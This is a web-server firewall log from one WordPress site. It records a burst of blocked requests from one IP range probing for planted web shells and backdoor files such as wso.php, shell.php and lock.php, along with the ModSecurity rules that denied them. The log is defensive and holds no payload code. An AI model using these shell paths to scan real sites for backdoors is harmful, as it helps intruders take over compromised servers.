[Fri Dec 19 22:30:28.341648 2025] [:error] [pid 20581:tid 20636] [client 85.203.23.36:45995] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/Contrller.php"] [unique_id "aUVhhPxEv7WXNhnFD1mgdwAAAJU"]
[Fri Dec 19 22:30:33.791782 2025] [:error] [pid 18438:tid 18441] [client 85.203.23.42:25391] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/search/just2.php"] [unique_id "aUVhiZRArClWV1iij_S6tQAAAYA"]
[Fri Dec 19 22:30:44.197987 2025] [:error] [pid 20675:tid 20697] [client 85.203.23.32:41515] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/prv8.php"] [unique_id "aUVhlLMyJ3XqeDRsbQm40QAAAQk"]
[Fri Dec 19 22:30:44.613163 2025] [:error] [pid 41451:tid 41454] [client 85.203.23.42:43191] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/class-json.php"] [unique_id "aUVhlAYXFn-DbZghZBH2ogAAAAA"]
[Fri Dec 19 22:30:45.043277 2025] [:error] [pid 20675:tid 20692] [client 85.203.23.25:33689] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/vpihdxu/wp-loader.php"] [unique_id "aUVhlbMyJ3XqeDRsbQm40gAAAQQ"]
[Fri Dec 19 22:30:50.468662 2025] [:error] [pid 18438:tid 18455] [client 85.203.23.32:61271] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/css/lib-view/code-snippet/lock.php"] [unique_id "aUVhmpRArClWV1iij_S6ygAAAY4"]
[Fri Dec 19 22:30:50.918881 2025] [:error] [pid 20675:tid 20707] [client 85.203.23.14:40115] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/quadmenu/assets/frontend/icons/fontawesome/css/lock.php"] [unique_id "aUVhmrMyJ3XqeDRsbQm42gAAARM"]
[Fri Dec 19 22:30:51.326754 2025] [:error] [pid 20582:tid 20648] [client 85.203.23.17:40615] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/plugin.php"] [unique_id "aUVhm8pAnrkQKZ4b5gZaFgAAAMY"]
[Fri Dec 19 22:30:51.728640 2025] [:error] [pid 20580:tid 20606] [client 85.203.23.31:57315] [client 85.203.23.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/script-modules/block-library/navigation/lock.php"] [unique_id "aUVhm0md1op_YdAdgR26iAAAAFQ"]
[Fri Dec 19 22:30:52.139222 2025] [:error] [pid 20580:tid 20603] [client 85.203.23.26:61771] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/tag-cloud.php"] [unique_id "aUVhnEmd1op_YdAdgR26jAAAAFE"]
[Fri Dec 19 22:30:52.574582 2025] [:error] [pid 16026:tid 16031] [client 85.203.23.46:23093] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/mabar88/inc/compatibility/learndash/customizer/sections/layout/lock.php"] [unique_id "aUVhnELVfhf4Jb3enmNWowAAAUI"]
[Fri Dec 19 22:30:53.001526 2025] [:error] [pid 20675:tid 20699] [client 85.203.23.24:65479] [client 85.203.23.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aUVhnbMyJ3XqeDRsbQm43AAAAQs"]
[Fri Dec 19 22:30:58.407459 2025] [:error] [pid 20581:tid 20629] [client 85.203.23.37:21931] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-terms/vx.php"] [unique_id "aUVhovxEv7WXNhnFD1mgsAAAAI4"]
[Fri Dec 19 22:31:13.870790 2025] [:error] [pid 18438:tid 18460] [client 85.203.23.22:29369] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/eflhedn/"] [unique_id "aUVhsZRArClWV1iij_S65wAAAZM"]
[Fri Dec 19 22:31:39.294519 2025] [:error] [pid 18438:tid 18462] [client 85.203.23.16:29373] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aUVhy5RArClWV1iij_S6_AAAAZU"]
[Fri Dec 19 22:31:39.738114 2025] [:error] [pid 18438:tid 18444] [client 85.203.23.6:36213] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aUVhy5RArClWV1iij_S7AQAAAYM"]
[Fri Dec 19 22:31:45.121566 2025] [:error] [pid 20581:tid 20626] [client 85.203.23.49:35107] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/uuj_gagal.php"] [unique_id "aUVh0fxEv7WXNhnFD1mg6gAAAIs"]
[Fri Dec 19 22:31:45.510366 2025] [:error] [pid 18438:tid 18459] [client 85.203.23.19:62707] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/siara-corporate-business/template-parts/header/styles/lock.php"] [unique_id "aUVh0ZRArClWV1iij_S7DQAAAZI"]
[Fri Dec 19 22:31:45.876482 2025] [:error] [pid 20580:tid 20597] [client 85.203.23.25:25153] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wtu_gagal.php"] [unique_id "aUVh0Umd1op_YdAdgR26ugAAAEs"]
[Fri Dec 19 22:31:51.271996 2025] [:error] [pid 20581:tid 20630] [client 85.203.23.49:40561] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/mtodm/"] [unique_id "aUVh1_xEv7WXNhnFD1mg9QAAAI8"]
[Fri Dec 19 22:31:51.638402 2025] [:error] [pid 16026:tid 16049] [client 85.203.23.19:32335] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/modules/kit-elements-defaults/import-export-customization/lock.php"] [unique_id "aUVh10LVfhf4Jb3enmNXEQAAAVQ"]
[Fri Dec 19 22:31:52.002915 2025] [:error] [pid 41451:tid 41473] [client 85.203.23.35:62623] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-pridmag/load.php"] [unique_id "aUVh2AYXFn-DbZghZBH3GQAAABM"]
[Fri Dec 19 22:32:02.433232 2025] [:error] [pid 20580:tid 20604] [client 85.203.23.37:37237] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/areak1.php"] [unique_id "aUVh4kmd1op_YdAdgR26zQAAAFI"]
[Fri Dec 19 22:32:07.802212 2025] [:error] [pid 20581:tid 20628] [client 85.203.23.40:63399] [client 85.203.23.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/futurio/lib/customizer/"] [unique_id "aUVh5_xEv7WXNhnFD1mhBQAAAI0"]
[Fri Dec 19 22:32:08.167114 2025] [:error] [pid 20581:tid 20621] [client 85.203.23.25:20479] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/class-wp-site-health-xml.php"] [unique_id "aUVh6PxEv7WXNhnFD1mhBwAAAIY"]
[Fri Dec 19 22:32:08.538359 2025] [:error] [pid 18438:tid 18446] [client 85.203.23.45:34459] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/ms-admin-filters-alpha.php"] [unique_id "aUVh6JRArClWV1iij_S7GwAAAYU"]
[Fri Dec 19 22:32:23.920901 2025] [:error] [pid 20675:tid 20706] [client 85.203.23.2:61941] [client 85.203.23.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/search/"] [unique_id "aUVh97MyJ3XqeDRsbQm5WwAAARI"]
[Fri Dec 19 22:32:24.309187 2025] [:error] [pid 18438:tid 18447] [client 85.203.23.45:49599] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/require-static-blocks-add.php"] [unique_id "aUVh-JRArClWV1iij_S7NQAAAYY"]
[Fri Dec 19 22:32:24.746937 2025] [:error] [pid 20675:tid 20701] [client 85.203.23.35:21131] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/nextpage/"] [unique_id "aUVh-LMyJ3XqeDRsbQm5XAAAAQ0"]
[Fri Dec 19 22:32:30.178833 2025] [:error] [pid 20675:tid 20710] [client 85.203.23.14:44755] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/site-logo/admin.php"] [unique_id "aUVh_rMyJ3XqeDRsbQm5YwAAARY"]
[Fri Dec 19 22:32:31.244496 2025] [:error] [pid 20582:tid 20665] [client 85.203.23.36:52133] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor-pro/admin.php"] [unique_id "aUVh_8pAnrkQKZ4b5gZapAAAANc"]
[Fri Dec 19 22:32:31.676656 2025] [:error] [pid 20582:tid 20657] [client 85.203.23.17:25373] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wc-logs/"] [unique_id "aUVh_8pAnrkQKZ4b5gZapgAAAM8"]
[Fri Dec 19 22:32:37.123947 2025] [:error] [pid 41451:tid 41457] [client 85.203.23.53:53417] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/lock.php"] [unique_id "aUViBQYXFn-DbZghZBH3YAAAAAM"]
[Fri Dec 19 22:32:47.564528 2025] [:error] [pid 41451:tid 41465] [client 85.203.23.32:32665] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-content/post-content/lock.php"] [unique_id "aUViDwYXFn-DbZghZBH3jgAAAAs"]
[Fri Dec 19 22:32:48.007456 2025] [:error] [pid 16026:tid 16047] [client 85.203.23.25:60271] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/mabar88/inc/addons/transparent-header/assets/lock.php"] [unique_id "aUViEELVfhf4Jb3enmNXRQAAAVI"]
[Fri Dec 19 22:32:48.449848 2025] [:error] [pid 18438:tid 18452] [client 85.203.23.44:22697] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/library/SimplePie/Content/Type/about.php"] [unique_id "aUViEJRArClWV1iij_S7TQAAAYs"]
[Fri Dec 19 22:32:48.897691 2025] [:error] [pid 20581:tid 20630] [client 85.203.23.28:21591] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aUViEPxEv7WXNhnFD1mhhAAAAI8"]
[Fri Dec 19 22:32:49.341272 2025] [:error] [pid 20675:tid 20707] [client 85.203.23.35:25691] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/images/about.php"] [unique_id "aUViEbMyJ3XqeDRsbQm5dQAAARM"]
[Fri Dec 19 22:32:49.799344 2025] [:error] [pid 20675:tid 20698] [client 85.203.23.11:42721] [client 85.203.23.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/zwz.php"] [unique_id "aUViEbMyJ3XqeDRsbQm5eAAAAQo"]
[Fri Dec 19 22:32:55.239516 2025] [:error] [pid 20580:tid 20610] [client 85.203.23.29:64555] [client 85.203.23.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-edit-link/admin.php"] [unique_id "aUViF0md1op_YdAdgR268wAAAFg"]
[Fri Dec 19 22:32:55.695050 2025] [:error] [pid 20582:tid 20643] [client 85.203.23.44:44873] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/image/admin.php"] [unique_id "aUViF8pAnrkQKZ4b5gZavgAAAME"]
[Fri Dec 19 22:32:56.157705 2025] [:error] [pid 20581:tid 20638] [client 85.203.23.37:22661] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wso.php"] [unique_id "aUViGPxEv7WXNhnFD1mhkgAAAJc"]
[Fri Dec 19 22:32:56.596980 2025] [:error] [pid 16026:tid 16038] [client 85.203.23.19:55067] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css.php"] [unique_id "aUViGELVfhf4Jb3enmNXTgAAAUk"]
[Fri Dec 19 22:32:57.060571 2025] [:error] [pid 20580:tid 20605] [client 85.203.23.35:31965] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/ru.php"] [unique_id "aUViGUmd1op_YdAdgR269gAAAFM"]
[Fri Dec 19 22:32:57.519462 2025] [:error] [pid 20580:tid 20596] [client 85.203.23.43:64093] [client 85.203.23.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp_helper_t46pm/shell.php"] [unique_id "aUViGUmd1op_YdAdgR269wAAAEo"]
[Fri Dec 19 22:33:12.964297 2025] [:error] [pid 20675:tid 20698] [client 85.203.23.17:52275] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/duplicator/src/Lite/about.php"] [unique_id "aUViKLMyJ3XqeDRsbQm5mAAAAQo"]
[Fri Dec 19 22:33:13.381181 2025] [:error] [pid 41451:tid 41470] [client 85.203.23.25:46725] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/dplay/global-templates/about.php"] [unique_id "aUViKQYXFn-DbZghZBH3yAAAABA"]
[Fri Dec 19 22:33:18.826026 2025] [:error] [pid 41451:tid 41457] [client 85.203.23.51:23525] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/nux/about.php"] [unique_id "aUViLgYXFn-DbZghZBH3ywAAAAM"]
[Fri Dec 19 22:33:19.247864 2025] [:error] [pid 16026:tid 16042] [client 85.203.23.38:30667] [client 85.203.23.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/page-list/about.php"] [unique_id "aUViL0LVfhf4Jb3enmNXeQAAAU0"]
[Fri Dec 19 22:33:24.692820 2025] [:error] [pid 20580:tid 20598] [client 85.203.23.26:40857] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/ahax.php"] [unique_id "aUViNEmd1op_YdAdgR27CgAAAEw"]
[Fri Dec 19 22:33:30.133811 2025] [:error] [pid 20675:tid 20691] [client 85.203.23.53:55615] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/unlimited-elements-for-elementor-premium/vendor/spucon/"] [unique_id "aUViOrMyJ3XqeDRsbQm5rgAAAQM"]
[Fri Dec 19 22:33:30.566558 2025] [:error] [pid 20581:tid 20628] [client 85.203.23.38:39271] [client 85.203.23.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-conflg.php"] [unique_id "aUViOvxEv7WXNhnFD1mhtgAAAI0"]
